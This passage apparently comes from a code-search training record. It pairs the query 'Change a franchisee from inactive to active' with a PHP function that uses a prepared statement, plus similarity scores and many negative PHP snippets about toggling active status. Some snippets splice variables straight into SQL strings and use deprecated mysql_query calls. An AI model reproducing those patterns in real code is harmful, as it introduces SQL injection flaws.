if (in_array($email, $accept_addresses) || in_array($domain[1], $accept_domains)) {\n // For a multi-author site, this should be a setting. For me, this is fine.\n $admin = get_userdata(1);\n return $admin->get('user_email');\n }\n return $email;\n}", "public function getEmail()\r\n {\r\n return $this->email;\r\n }", "public function fetchUserByEmail($email);" ]
[ "0.6838675", "0.67822903", "0.6747366", "0.6730431", "0.6730431", "0.67288285", "0.67288285", "0.67288285", "0.6712553", "0.66528183", "0.66528183", "0.66528183", "0.66528183", "0.66528183", "0.66528183", "0.66528183", "0.66528183", "0.66528183", "0.66528183", "0.66528183", "0.6568244", "0.654655", "0.6534454", "0.65185827", "0.64799947", "0.64787513", "0.6442952", "0.64016545", "0.63754696", "0.6333457", "0.6333457", "0.6333457", "0.6303685", "0.62998235", "0.62865853", "0.6264998", "0.62631583", "0.62631583", "0.62631583", "0.6258487", "0.6216717", "0.6187844", "0.6150227", "0.6121946", "0.6109296", "0.60912275", "0.6078712", "0.60721886", "0.6065557", "0.60461843", "0.602572", "0.6024288", "0.6017225", "0.60138285", "0.59970945", "0.5968528", "0.5968528", "0.59559274", "0.5955492", "0.59521645", "0.594436", "0.59426063", "0.59407127", "0.59327066", "0.59327054", "0.5931097", "0.5918599", "0.59183425", "0.59149665", "0.5913459", "0.5912989", "0.5911873", "0.5910584", "0.5902513", "0.58978987", "0.58963835", "0.5894114", "0.5893739", "0.5888381", "0.5864413", "0.5862096", "0.58571136", "0.58547056", "0.5846251", "0.58440244", "0.58422697", "0.5837304", "0.5831602", "0.5830312", "0.5829409", "0.5825706", "0.5824818", "0.5817241", "0.5817017", "0.5813644", "0.581272", "0.5811093", "0.58063805", "0.58034897", "0.5799037", "0.5794679" ]
0.0
-1
Change a franchisee from inactive to active
function setFranchiseActive($token) { global $mysqli, $db_table_prefix; $stmt = $mysqli->prepare("UPDATE " . $db_table_prefix . "franchise SET active = 1 WHERE id = ? LIMIT 1"); $stmt->bind_param("i", $token); $result = $stmt->execute(); $stmt->close(); return $result; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function setActive() {}", "public function setActive($value);", "public function setActive()\n {\n $this->update(['status' => static::STATUS_ACTIVE]);\n }", "public function setActive()\r\n {\r\n $this->active = true;\r\n }", "public function setActive()\n\t\t{\n\t\t\t$this->_state = 1;\n\t\t}", "public function setInactive()\r\n {\r\n $this->active = false;\r\n }", "function setActive() ;", "function isActive() ;", "public function setActive($value) {\n\t\t$this->_active = $value;\n\t}", "public function SetActive ($active = TRUE);", "function toggle_active_country($id_country)\n{\n\t$this->db->where('id',$id_country );\n $query = $this->db->get('countries');\n $row = $query->row();\n $active = $row->active;\nif ($active)\n{\n $data = array('active' => 0); \n}\nelse \n{\n $data = array('active' => 1); \n}\n \n\t$this->db->where('id',$id_country );\n\t$this->db->update('countries', $data); \n\n}", "function setActive($a_active)\n\t{\n\t\t$this->active = $a_active;\n\t}", "public function setIsActive($isActive)\n {\n }", "public function setActive($active = true)\n {\n $this->active = $active;\n }", "public function isActive();", "public function isActive();", "public function isActive();", "public function isActive();", "public function changeActiveStatus($appName, $active);", "public function setActive($value) {\n if ($value != $this->_active) {\n if ($value)\n $this->open();\n else\n $this->close();\n }\n }", "function activeinactive()\n\t{\n\t\t$strquery\t=\t\"UPDATE \" . DB_PREFIX . \"menu SET menu_active='n' WHERE menu_id in(\" . $this->uncheckedids . \")\";\n\t\t$result = mysql_query($strquery) or die(mysql_error());\n\t\tif($result == false)\n\t\t\treturn ;\n\t\t$strquery\t=\t\"UPDATE \" . DB_PREFIX . \"menu SET menu_active='y' WHERE menu_id in(\" . $this->checkedids . \")\";\n\t\treturn mysql_query($strquery) or die(mysql_error());\n\t}", "public function setIsActive($isActive);", "public function setActive()\n {\n $this->status = AutoEvent::STATUS_ACTIVE;\n $this->save();\n }", "public function setActive($active)\n {\n $this->active = $active;\n }", "public function setActive($active)\n {\n $this->active = $active;\n }", "public function getActiveState();", "public function setIsActive( bool $isActive ): void;", "public function actionChangeActive() \r\n {\r\n $formData = CJSON::decode(stripslashes($_POST['formData']));\r\n\r\n extract($formData);\r\n $res=0;\r\n $HajazMaster= HajzMaster::model()->findByPk($FineID);\r\n $HajazMaster->IsActive = $FineStatus;\r\n if($HajazMaster->save()) $res=1;\r\n else print_r( $HajazMaster->getErrors() );\r\n print CJSON::encode($res);\r\n \r\n }", "function toggle_active_site()\n{\n\t$this->db->where('id_table',0 );// there is just one row in table site with id \"0\"\n $query = $this->db->get('site');\n $row = $query->row();\n $active = $row->active;\nif ($active)\n{\n $data = array('active' => 0); \n}\nelse \n{\n $data = array('active' => 1); \n}\n \n\t$this->db->where('id_table',0 );\n\t$this->db->update('site', $data); \n}", "public function isActive() {}", "public function isActive() {}", "public function isActive() {}", "public function isActive() {}", "public function isActive() {}", "public function isActive() {}", "function setFranchiseDeactive($token) {\n global $mysqli, $db_table_prefix;\n $stmt = $mysqli->prepare(\"UPDATE \" . $db_table_prefix . \"franchise\n\t\tSET active = 0\n\t\tWHERE\n\t\tid = ?\n\t\tLIMIT 1\");\n $stmt->bind_param(\"i\", $token);\n $result = $stmt->execute();\n $stmt->close();\n return $result;\n}", "public final function active()\n {\n }", "public final function active()\n {\n }", "public final function active()\n {\n }", "public function isActive()\n {\n }", "public function is_active();", "abstract public function isActive();", "public function activar()\n {\n $this->estatus = 1;\n $this->save();\n }", "public function activar() {\n if($this->getEstado() == 1)\n return false;\n else {\n $this->setEstado(1);\n return true;\n }\n }", "public function setIsActiveAttribute($value)\n {\n $this->attributes[$this->getDeactivatedAtColumn()] = ! empty($value) && (bool) $value\n ? null\n : Carbon::now();\n }", "function getActive() {return $this->_active;}", "function active()\r\n {\r\n return true;\r\n }", "public function setActive(bool $active){\n // enables \"active\" change for this model\n $this->allowActiveChange = true;\n $this->active = $active;\n }", "public function set_active($active){\n if( $this->allowActiveChange ){\n // allowed to set/change -> reset \"allowed\" property\n $this->allowActiveChange = false;\n }else{\n // not allowed to set/change -> keep current status\n $active = $this->active;\n }\n return $active;\n }", "public function setActive($value)\n {\n return $this->set(self::_ACTIVE, $value);\n }", "public function isActive()\n {\n return ($this->slug == \"actief\");\n }", "function is_active()\n {\n }", "public function activate();", "public function activate();", "function active()\n\t{\n\t\treturn true;\n\t}", "public function markAsActive()\n {\n // Clean up end column and activate\n $this->active = true;\n $this->endsAt = null;\n\n return $this->save();\n }", "public function isActivated() {}", "public function setActive($value) {\n if ($value != $this->_active) {\n if ($value)\n $this->connect();\n else\n $this->close();\n }\n }", "public function toggleActive($id) {\n $webhooks_storage = $this->entityTypeManager->getStorage('webhook_config');\n /** @var \\Drupal\\webhooks\\Entity\\WebhookConfig $webhook_config */\n $webhook_config = $webhooks_storage->load($id);\n $webhook_config->setStatus(!$webhook_config->status());\n $webhook_config->save();\n return $this->redirect(\"entity.webhook_config.collection\");\n }", "public function setActive($active){\n $this->active = $active;\n return $this;\n }", "public function deactivateAll(){\n $config = LiteBriteConfig::where('is_active','=',true)->update(['is_active' => false]);\n return;\n }", "public function getActive(){\n return $this->active;\n }", "public function activate_user() {\n global $database;\n $sql = \"UPDATE user SET is_active = 1 WHERE id = \";\n $sql .= $database->escape_value($this->id);\n $database->query($sql);\n }", "public function applyDefaultValues()\n {\n $this->active = false;\n }", "public function update_active(){\n\t\t$sql = \"update set creado=NOW() where id=$this->id\";\n\t\t\n\t}", "public function activeAction()\n {\n $id = $this->params()->fromRoute('id', 0);\n\n $entity = $this->getEm()->getRepository($this->entity)->findOneBy(array('id' => $id));\n\n if ($entity) {\n\n $data = $entity->toArray();\n\n if( $data['active'] == 1 )\n $data['active'] = 0;\n else\n $data['active'] = 1;\n\n $service = $this->getServiceLocator()->get($this->service);\n\n if( $service->update($data) )\n\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n else\n $this->getResponse()->setStatusCode(404);\n }\n }", "public function is_active(): bool;", "public function activate()\r\n\t{\r\n\t\treturn $this->_changeStatus(1);\r\n\t}", "protected function maintainActiveTeams()\n\t\t{\n\t\t\t// set teams other than deleted to active if matched during that timeframe\n\t\t\t\n\t\t\t$forty_five_days_in_past = strtotime('-45 days');\n\t\t\t$forty_five_days_in_past = strftime('%Y-%m-%d %H:%M:%S', $forty_five_days_in_past);\n\t\t\t\n\t\t\t// apply new status to any new, active, reactivated or inactive team\n\t\t\t$teamIds = team::getNewTeamIds();\n\t\t\t$teamIds = array_merge($teamIds, team::getActiveTeamIds());\n\t\t\t$teamIds = array_merge($teamIds, team::getReactivatedTeamIds());\n\t\t\t$teamIds = array_merge($teamIds, team::getInactiveTeamIds());\n\t\t\tforeach ($teamIds AS $teamid)\n\t\t\t{\n\t\t\t\t$team = new team($teamid);\n\t\t\t\t$lastMatch = $team->getNewestMatchTimestamp();\n\t\t\t\t// non deleted team did not match last 45 days -> inactive\n\t\t\t\tif ($team->getStatus() !== 'inactive' && $lastMatch && $lastMatch < $forty_five_days_in_past)\n\t\t\t\t{\n\t\t\t\t\t$team->setStatus('inactive');\n\t\t\t\t} else\n\t\t\t\t{\n\t\t\t\t\t// non deleted team did match last 45 days -> active\n\t\t\t\t\tif ($team->getStatus() !== 'active' && $lastMatch && $lastMatch > $forty_five_days_in_past)\n\t\t\t\t\t{\n\t\t\t\t\t\t$team->setStatus('active');\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$team->update();\n\t\t\t}\n\t\t}", "public function setActivation(): void;", "public function setOnlyActiveBranch(bool $flag = true);", "public function is_inactive(): bool;", "abstract public function deactivate();", "public function post_on(){\n\n\t\tSettings::where_in('type', 'indira')->and_where('param', '=', 'under_development')->update(array('value' => 'true'));\n\n\t\t$data = array();\n\t\t$data[\"on\"] = 'active';\n\t\t$data[\"off\"] = null;\n\n\t\tIndira::set('indira.under_development');\n\n\t\treturn View::make('admin.development.thumbler', $data);\n\t}", "public function isActive(): bool;", "public function isActive(): bool;", "public function IsActive()\n {\n return true;\n }", "function acf_update_field_group_active_status( $id, $activate = true ) {\n\treturn acf_update_internal_post_type_active_status( $id, $activate, 'acf-field-group' );\n}", "public function activation($id)\n {\n $cat = Category::find($id);\n if ($cat->status == 0) {\n $cat->status = 1; // deactivate\n } elseif ($cat->status == 1) {\n $cat->status = 0; // activate\n }\n $cat->save();\n return back();\n }", "function getActive() { return $this->_active; }", "public function isActive()\n {\n return $this->active;\n }", "function getIsActive() ;", "public function setIsActive(bool $isActive)\n\t{\n\t\t$this->isActive=$isActive; \n\t\t$this->keyModified['is_active'] = 1; \n\n\t}", "function activate() {\r\r\n }", "private function setFacilityStatus(){\n\t\t$this->UpdateVisitors();\n\n\t\t/** Update Available Rooms */\n\t\t$this->UpdateAvailableRooms();\n\n\t}", "public function update_active()\n\t{\t\n\t\t$change_status=$this->input->post('status_value');\n\t\t$status_record = array('status' => $this->input->post('status_record'));\n\t\t\n\t\tif ($status_record['status'] == 0) {\n\t\t\t$status_record['status'] = 1;\n\t\t}\n\n\t\tforeach ($change_status as $status) {\n\t\t\t\t\t$this->AboutModel->update_status($status , $status_record);\n\t\t\t\t}\n\t\t $this->session->set_flashdata('msg', 'Status Changed Successfully ');\n\t}", "public function isActive (){\n if($this->is_active == 1) {\n return true;\n }else{\n return false;\n }\n }", "public function isActive() {\n return $this->active;\n }", "public function activar($categoria){\n\t\t\t\t\t\t\t\t\t$db=DB::conectar();\n\t\t\t\t\t\t\t\t\t$update=$db->prepare('UPDATE categoria SET estado = 1 WHERE id = :id;');\n\t\t\t\t\t\t\t\t\t$update->bindValue('id',$categoria->getId());\n\t\t\t\t\t\t\t\t\t$update->execute();\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t}", "public function markAsActivate() : bool\n {\n $this->is_active = 1;\n $this->paid = 1;\n //$this->grace_period_ends = new RawValue('NULL');\n $this->ends_at = null; //new rawValue('NULL');\n $this->next_due_payment = $this->ends_at;\n $this->is_cancelled = 0;\n return $this->update();\n }", "function deactivate() {\n \n $this->reset_caches();\n $this->ext->update_option( 'livefyre_deactivated', 'Deactivated: ' . time() );\n\n }", "public function client_active_toggle($id){\r\n $client = $this->get_clients($id);\r\n\r\n if($client['is_active'] == 1){\r\n $sql = \"UPDATE clients SET is_active = 0 WHERE id = '$id'\";\r\n return $this->db->query($sql);\r\n }else{\r\n $sql = \"UPDATE clients SET is_active = 1 WHERE id = '$id'\";\r\n return $this->db->query($sql);\r\n }\r\n }", "function _active($info)\n\t{\n\t // Gan trang thai xac thuc\n\t $data = array();\n\t $data['status'] = mod('order')->status('completed');\n\t\n\t // Cap nhat du lieu vao data\n\t model('user_bank')->update($info->id, $data);\n\t // Gui thong bao\n\t set_message(lang('notice_update_success'));\n\t return TRUE;\n\t}", "public function activate(): bool\n {\n $this->{$this->getDeactivatedAtColumn()} = null;\n return $this->save();\n }", "function activ_account($active) {\r\n\tif($active == '0') {\r\n\t\t$activate = '<font color=\"red\">Deactivated</font>';\r\n\t}else{\r\n\t\t$activate = '<font color=\"green\">Activated</font>';\r\n\t}\r\n\treturn $activate;\r\n}", "public function GetActive ();", "public function isActive()\n {\n return $this->status == 'active';\n }", "function tcf_activate() {\n\t$default = array(\n\t\t'logo' => TFC_URL . '/img/logo.png',\n\t\t'auto_rotate' => '',\n\t\t'auto_rotate_speed' => 7000,\n\t\t'transition_type' => 'slide'\n\t);\n\n\t$tfc = get_option('tfc');\n\n\tif(empty($tfc)) {\n\t\tupdate_option($tfc, $default);\n\t}\n}", "function show_filter_active($filter_active)\n\t\t{\n\t\t\t$this->t->set_var(array('filter_active_up'=>$filter_active));\n\t\t\t//show the select\n\t\t\t$this->t->set_var(array(\n\t\t\t\t'selected_active_all'\t\t=> ($filter_active == '')? 'selected=\"selected\"' : '',\n\t\t\t\t'selected_active_active'\t=> ($filter_active == 'y')? 'selected=\"selected\"' : '',\n\t\t\t\t'selected_active_inactive'\t=> ($filter_active == 'n')? 'selected=\"selected\"' : '',\n\t\t\t));\n\t\t}", "public function setActive($id)\n {\n if ($id) {\n $this->load($id);\n } elseif (!$this->getIsDefault()) {\n $this->clear();\n }\n }" ]
[ "0.701012", "0.67440796", "0.6707083", "0.6657271", "0.6653123", "0.6531123", "0.6446568", "0.64195645", "0.63934803", "0.63322294", "0.61616135", "0.6144215", "0.60850716", "0.6083652", "0.60391796", "0.60391796", "0.60391796", "0.60391796", "0.6026971", "0.60267854", "0.601966", "0.600688", "0.59908926", "0.5981236", "0.5981236", "0.596573", "0.59619606", "0.5952506", "0.5911988", "0.5903979", "0.5903979", "0.59021264", "0.59021264", "0.59021264", "0.59021264", "0.59018713", "0.58625966", "0.58625966", "0.5862153", "0.58123714", "0.58107364", "0.5773507", "0.5771822", "0.5767504", "0.5758214", "0.5732073", "0.5730651", "0.5688916", "0.56796515", "0.5667067", "0.56484145", "0.56368345", "0.56138885", "0.56138885", "0.5610763", "0.5606773", "0.56040853", "0.5601126", "0.5597767", "0.5590125", "0.5547041", "0.55449694", "0.55437475", "0.553783", "0.5537003", "0.55362386", "0.55262995", "0.5507106", "0.54899806", "0.5476779", "0.5473028", "0.5460188", "0.5459928", "0.5459572", "0.54524446", "0.54524446", "0.5442668", "0.54379207", "0.5436846", "0.5434089", "0.5433501", "0.5431013", "0.54285794", "0.5426697", "0.5412302", "0.54114413", "0.54069203", "0.5405692", "0.54056233", "0.5401091", "0.53945374", "0.5391357", "0.5389792", "0.5386623", "0.5380902", "0.53705496", "0.53697217", "0.5365845", "0.53603613", "0.53590614" ]
0.58952534
36
Change a franchisee from active to inactive
function setFranchiseDeactive($token) { global $mysqli, $db_table_prefix; $stmt = $mysqli->prepare("UPDATE " . $db_table_prefix . "franchise SET active = 0 WHERE id = ? LIMIT 1"); $stmt->bind_param("i", $token); $result = $stmt->execute(); $stmt->close(); return $result; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function setActive() {}", "public function setActive($value);", "public function setActive()\n {\n $this->update(['status' => static::STATUS_ACTIVE]);\n }", "public function setInactive()\r\n {\r\n $this->active = false;\r\n }", "public function setActive()\r\n {\r\n $this->active = true;\r\n }", "public function setActive()\n\t\t{\n\t\t\t$this->_state = 1;\n\t\t}", "function isActive() ;", "function setActive() ;", "public function setActive($value) {\n\t\t$this->_active = $value;\n\t}", "public function SetActive ($active = TRUE);", "function toggle_active_country($id_country)\n{\n\t$this->db->where('id',$id_country );\n $query = $this->db->get('countries');\n $row = $query->row();\n $active = $row->active;\nif ($active)\n{\n $data = array('active' => 0); \n}\nelse \n{\n $data = array('active' => 1); \n}\n \n\t$this->db->where('id',$id_country );\n\t$this->db->update('countries', $data); \n\n}", "public function setIsActive($isActive)\n {\n }", "function setActive($a_active)\n\t{\n\t\t$this->active = $a_active;\n\t}", "public function setIsActive($isActive);", "public function setIsActive( bool $isActive ): void;", "public function isActive();", "public function isActive();", "public function isActive();", "public function isActive();", "public function setActive($active = true)\n {\n $this->active = $active;\n }", "public function changeActiveStatus($appName, $active);", "function activeinactive()\n\t{\n\t\t$strquery\t=\t\"UPDATE \" . DB_PREFIX . \"menu SET menu_active='n' WHERE menu_id in(\" . $this->uncheckedids . \")\";\n\t\t$result = mysql_query($strquery) or die(mysql_error());\n\t\tif($result == false)\n\t\t\treturn ;\n\t\t$strquery\t=\t\"UPDATE \" . DB_PREFIX . \"menu SET menu_active='y' WHERE menu_id in(\" . $this->checkedids . \")\";\n\t\treturn mysql_query($strquery) or die(mysql_error());\n\t}", "public function actionChangeActive() \r\n {\r\n $formData = CJSON::decode(stripslashes($_POST['formData']));\r\n\r\n extract($formData);\r\n $res=0;\r\n $HajazMaster= HajzMaster::model()->findByPk($FineID);\r\n $HajazMaster->IsActive = $FineStatus;\r\n if($HajazMaster->save()) $res=1;\r\n else print_r( $HajazMaster->getErrors() );\r\n print CJSON::encode($res);\r\n \r\n }", "public function setActive($value) {\n if ($value != $this->_active) {\n if ($value)\n $this->open();\n else\n $this->close();\n }\n }", "public function setActive($active)\n {\n $this->active = $active;\n }", "public function setActive($active)\n {\n $this->active = $active;\n }", "function toggle_active_site()\n{\n\t$this->db->where('id_table',0 );// there is just one row in table site with id \"0\"\n $query = $this->db->get('site');\n $row = $query->row();\n $active = $row->active;\nif ($active)\n{\n $data = array('active' => 0); \n}\nelse \n{\n $data = array('active' => 1); \n}\n \n\t$this->db->where('id_table',0 );\n\t$this->db->update('site', $data); \n}", "public function getActiveState();", "public function isActive() {}", "public function isActive() {}", "public function isActive() {}", "public function isActive() {}", "public function isActive() {}", "public function isActive() {}", "public function setActive()\n {\n $this->status = AutoEvent::STATUS_ACTIVE;\n $this->save();\n }", "abstract public function isActive();", "function setFranchiseActive($token) {\n global $mysqli, $db_table_prefix;\n $stmt = $mysqli->prepare(\"UPDATE \" . $db_table_prefix . \"franchise\n\t\tSET active = 1\n\t\tWHERE\n\t\tid = ?\n\t\tLIMIT 1\");\n $stmt->bind_param(\"i\", $token);\n $result = $stmt->execute();\n $stmt->close();\n return $result;\n}", "public function isActive()\n {\n }", "public function is_active();", "public function setIsActiveAttribute($value)\n {\n $this->attributes[$this->getDeactivatedAtColumn()] = ! empty($value) && (bool) $value\n ? null\n : Carbon::now();\n }", "public function deactivateAll(){\n $config = LiteBriteConfig::where('is_active','=',true)->update(['is_active' => false]);\n return;\n }", "public function setActive(bool $active){\n // enables \"active\" change for this model\n $this->allowActiveChange = true;\n $this->active = $active;\n }", "public function activar()\n {\n $this->estatus = 1;\n $this->save();\n }", "public function activar() {\n if($this->getEstado() == 1)\n return false;\n else {\n $this->setEstado(1);\n return true;\n }\n }", "public final function active()\n {\n }", "public final function active()\n {\n }", "public final function active()\n {\n }", "function getActive() {return $this->_active;}", "public function setOnlyActiveBranch(bool $flag = true);", "public function toggleActive($id) {\n $webhooks_storage = $this->entityTypeManager->getStorage('webhook_config');\n /** @var \\Drupal\\webhooks\\Entity\\WebhookConfig $webhook_config */\n $webhook_config = $webhooks_storage->load($id);\n $webhook_config->setStatus(!$webhook_config->status());\n $webhook_config->save();\n return $this->redirect(\"entity.webhook_config.collection\");\n }", "public function isActive()\n {\n return ($this->slug == \"actief\");\n }", "public function set_active($active){\n if( $this->allowActiveChange ){\n // allowed to set/change -> reset \"allowed\" property\n $this->allowActiveChange = false;\n }else{\n // not allowed to set/change -> keep current status\n $active = $this->active;\n }\n return $active;\n }", "function active()\r\n {\r\n return true;\r\n }", "function is_active()\n {\n }", "abstract public function deactivate();", "public function post_on(){\n\n\t\tSettings::where_in('type', 'indira')->and_where('param', '=', 'under_development')->update(array('value' => 'true'));\n\n\t\t$data = array();\n\t\t$data[\"on\"] = 'active';\n\t\t$data[\"off\"] = null;\n\n\t\tIndira::set('indira.under_development');\n\n\t\treturn View::make('admin.development.thumbler', $data);\n\t}", "public function setActive($value)\n {\n return $this->set(self::_ACTIVE, $value);\n }", "public function is_inactive(): bool;", "public function isActivated() {}", "public function applyDefaultValues()\n {\n $this->active = false;\n }", "public function setIsActive(bool $isActive)\n\t{\n\t\t$this->isActive=$isActive; \n\t\t$this->keyModified['is_active'] = 1; \n\n\t}", "public function setActive($value) {\n if ($value != $this->_active) {\n if ($value)\n $this->connect();\n else\n $this->close();\n }\n }", "public function setActive($active){\n $this->active = $active;\n return $this;\n }", "public function is_active(): bool;", "public function activate();", "public function activate();", "private function setFacilityStatus(){\n\t\t$this->UpdateVisitors();\n\n\t\t/** Update Available Rooms */\n\t\t$this->UpdateAvailableRooms();\n\n\t}", "public function markAsActive()\n {\n // Clean up end column and activate\n $this->active = true;\n $this->endsAt = null;\n\n return $this->save();\n }", "function getIsActive() ;", "public function isActive(): bool;", "public function isActive(): bool;", "public function post_off(){\n\n\t\tSettings::where_in('type', 'indira')->and_where('param', '=', 'under_development')->update(array('value' => 'false'));\n\n\t\t$data = array();\n\t\t$data[\"on\"] = null;\n\t\t$data[\"off\"] = 'active';\n\n\t\tIndira::set('indira.under_development');\n\n\t\treturn View::make('admin.development.thumbler', $data);\n\t}", "function active()\n\t{\n\t\treturn true;\n\t}", "protected function maintainActiveTeams()\n\t\t{\n\t\t\t// set teams other than deleted to active if matched during that timeframe\n\t\t\t\n\t\t\t$forty_five_days_in_past = strtotime('-45 days');\n\t\t\t$forty_five_days_in_past = strftime('%Y-%m-%d %H:%M:%S', $forty_five_days_in_past);\n\t\t\t\n\t\t\t// apply new status to any new, active, reactivated or inactive team\n\t\t\t$teamIds = team::getNewTeamIds();\n\t\t\t$teamIds = array_merge($teamIds, team::getActiveTeamIds());\n\t\t\t$teamIds = array_merge($teamIds, team::getReactivatedTeamIds());\n\t\t\t$teamIds = array_merge($teamIds, team::getInactiveTeamIds());\n\t\t\tforeach ($teamIds AS $teamid)\n\t\t\t{\n\t\t\t\t$team = new team($teamid);\n\t\t\t\t$lastMatch = $team->getNewestMatchTimestamp();\n\t\t\t\t// non deleted team did not match last 45 days -> inactive\n\t\t\t\tif ($team->getStatus() !== 'inactive' && $lastMatch && $lastMatch < $forty_five_days_in_past)\n\t\t\t\t{\n\t\t\t\t\t$team->setStatus('inactive');\n\t\t\t\t} else\n\t\t\t\t{\n\t\t\t\t\t// non deleted team did match last 45 days -> active\n\t\t\t\t\tif ($team->getStatus() !== 'active' && $lastMatch && $lastMatch > $forty_five_days_in_past)\n\t\t\t\t\t{\n\t\t\t\t\t\t$team->setStatus('active');\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$team->update();\n\t\t\t}\n\t\t}", "public function activate_user() {\n global $database;\n $sql = \"UPDATE user SET is_active = 1 WHERE id = \";\n $sql .= $database->escape_value($this->id);\n $database->query($sql);\n }", "public function setActivation(): void;", "function deactivate() {\n \n $this->reset_caches();\n $this->ext->update_option( 'livefyre_deactivated', 'Deactivated: ' . time() );\n\n }", "public function getActive(){\n return $this->active;\n }", "public function update_active()\n\t{\t\n\t\t$change_status=$this->input->post('status_value');\n\t\t$status_record = array('status' => $this->input->post('status_record'));\n\t\t\n\t\tif ($status_record['status'] == 0) {\n\t\t\t$status_record['status'] = 1;\n\t\t}\n\n\t\tforeach ($change_status as $status) {\n\t\t\t\t\t$this->AboutModel->update_status($status , $status_record);\n\t\t\t\t}\n\t\t $this->session->set_flashdata('msg', 'Status Changed Successfully ');\n\t}", "public function client_active_toggle($id){\r\n $client = $this->get_clients($id);\r\n\r\n if($client['is_active'] == 1){\r\n $sql = \"UPDATE clients SET is_active = 0 WHERE id = '$id'\";\r\n return $this->db->query($sql);\r\n }else{\r\n $sql = \"UPDATE clients SET is_active = 1 WHERE id = '$id'\";\r\n return $this->db->query($sql);\r\n }\r\n }", "public function activeAction()\n {\n $id = $this->params()->fromRoute('id', 0);\n\n $entity = $this->getEm()->getRepository($this->entity)->findOneBy(array('id' => $id));\n\n if ($entity) {\n\n $data = $entity->toArray();\n\n if( $data['active'] == 1 )\n $data['active'] = 0;\n else\n $data['active'] = 1;\n\n $service = $this->getServiceLocator()->get($this->service);\n\n if( $service->update($data) )\n\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n else\n $this->getResponse()->setStatusCode(404);\n }\n }", "function show_filter_active($filter_active)\n\t\t{\n\t\t\t$this->t->set_var(array('filter_active_up'=>$filter_active));\n\t\t\t//show the select\n\t\t\t$this->t->set_var(array(\n\t\t\t\t'selected_active_all'\t\t=> ($filter_active == '')? 'selected=\"selected\"' : '',\n\t\t\t\t'selected_active_active'\t=> ($filter_active == 'y')? 'selected=\"selected\"' : '',\n\t\t\t\t'selected_active_inactive'\t=> ($filter_active == 'n')? 'selected=\"selected\"' : '',\n\t\t\t));\n\t\t}", "public function toggleStatus()\n {\n $pageId = Tools::getValue('id_page');\n\n Db::getInstance()->update(\n $this->module->table_name,\n ['active' => !$this->module->getHTMLPageStatus($pageId)],\n 'id_page = ' . $pageId\n );\n }", "public function change_status() {\n\n $id = $this->input->post('id');\n $status = $this->input->post('status');\n\n $data['is_active'] = $status;\n\n $this->db->where('id', $id);\n $this->db->update('template_pola', $data);\n }", "public function deactivate();", "function TogglePlanStatus()\n\t{\n\t\t// Check user authorization and permissions\n\t\tAuthenticatedUser()->CheckAuth();\n\t\tAuthenticatedUser()->PermissionOrDie(PERMISSION_RATE_MANAGEMENT | PERMISSION_ADMIN);\n\n\t\t$bolGOD\t= AuthenticatedUser()->UserHasPerm(PERMISSION_GOD);\n\n\t\tif (!DBO()->RatePlan->Load())\n\t\t{\n\t\t\tAjax()->AddCommand(\"Alert\", \"ERROR: Could not find RatePlan with Id: \". DBO()->RatePlan->Id->Value);\n\t\t\treturn TRUE;\n\t\t}\n\n\t\tTransactionStart();\n\n\n\t\t// The status of a RatePlan is stored in the Archived property of the RatePlan table\n\t\tswitch (DBO()->RatePlan->Archived->Value)\n\t\t{\n\t\t\tcase RATE_STATUS_ACTIVE:\n\t\t\t\tDBO()->RatePlan->Archived = RATE_STATUS_ARCHIVED;\n\n\t\t\t\t// Deactivate the Plan Brochure & Auth Script\n\t\t\t\tbreak;\n\n\t\t\tcase RATE_STATUS_ARCHIVED:\n\t\t\t\tDBO()->RatePlan->Archived = RATE_STATUS_ACTIVE;\n\n\t\t\t\t// Reactivate the Plan Brochure & Auth Script\n\t\t\t\tbreak;\n\n\t\t\tdefault:\n\t\t\t\t// Cannot toggle from whatever the status currently is\n\t\t\t\tTransactionRollback();\n\t\t\t\tAjax()->AddCommand(\"Alert\", \"ERROR: The RatePlan's status cannot be changed\");\n\t\t\t\treturn TRUE;\n\t\t}\n\n\t\ttry\n\t\t{\n\t\t\t// Re/Activate the Plan Brochure & Auth Script\n\t\t\tif (DBO()->RatePlan->brochure_document_id->Value)\n\t\t\t{\n\t\t\t\t$objBrochure\t= new Document(array('id'=>DBO()->RatePlan->brochure_document_id->Value), true);\n\t\t\t\tif ($objBrochure->status_id !== STATUS_ACTIVE)\n\t\t\t\t{\n\t\t\t\t\t$objBrochure->setStatus(STATUS_ACTIVE);\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (DBO()->RatePlan->auth_script_document_id->Value)\n\t\t\t{\n\t\t\t\t$objAuthScript\t= new Document(array('id'=>DBO()->RatePlan->auth_script_document_id->Value), true);\n\t\t\t\tif ($objAuthScript->status_id !== STATUS_ACTIVE)\n\t\t\t\t{\n\t\t\t\t\t$objAuthScript->setStatus(STATUS_ACTIVE);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tcatch (Exception $eException)\n\t\t{\n\t\t\tTransactionRollback();\n\t\t\tAjax()->AddCommand(\"Alert\", \"ERROR: Unable to modify the Plan's Brochure and Auth Script\".($bolGOD ? \"\\n\".$eException->__toString() : ''));\n\t\t\treturn TRUE;\n\t\t}\n\n\t\t// Check that the plan isn't one of the default plans for the Customer Group\n\t\tDBL()->default_rate_plan->rate_plan = DBO()->RatePlan->Id->Value;\n\t\tDBL()->default_rate_plan->Load();\n\t\tif (DBL()->default_rate_plan->RecordCount() > 0)\n\t\t{\n\t\t\tTransactionRollback();\n\t\t\tAjax()->AddCommand(\"Alert\", \"ERROR: This Plan is being used as a default rate plan and cannot have its status changed\");\n\t\t\treturn TRUE;\n\t\t}\n\n\t\t// Save the changes\n\t\tif (!DBO()->RatePlan->Save())\n\t\t{\n\t\t\tTransactionRollback();\n\t\t\tAjax()->AddCommand(\"Alert\", \"ERROR: Saving the status change failed, unexpectedly. Please notify your system administrator\");\n\t\t\treturn TRUE;\n\t\t}\n\n\t\t$strSuccessMsg = \"Status change was successful\";\n\n\t\tif (DBO()->AlternateRatePlan->Id->Value && DBO()->RatePlan->Archived->Value == RATE_STATUS_ARCHIVED)\n\t\t{\n\t\t\t// Associate the Alternate RatePlan with all the dealers that are associated with the rate plan which was just archived\n\t\t\t$intArchivedPlanId\t= 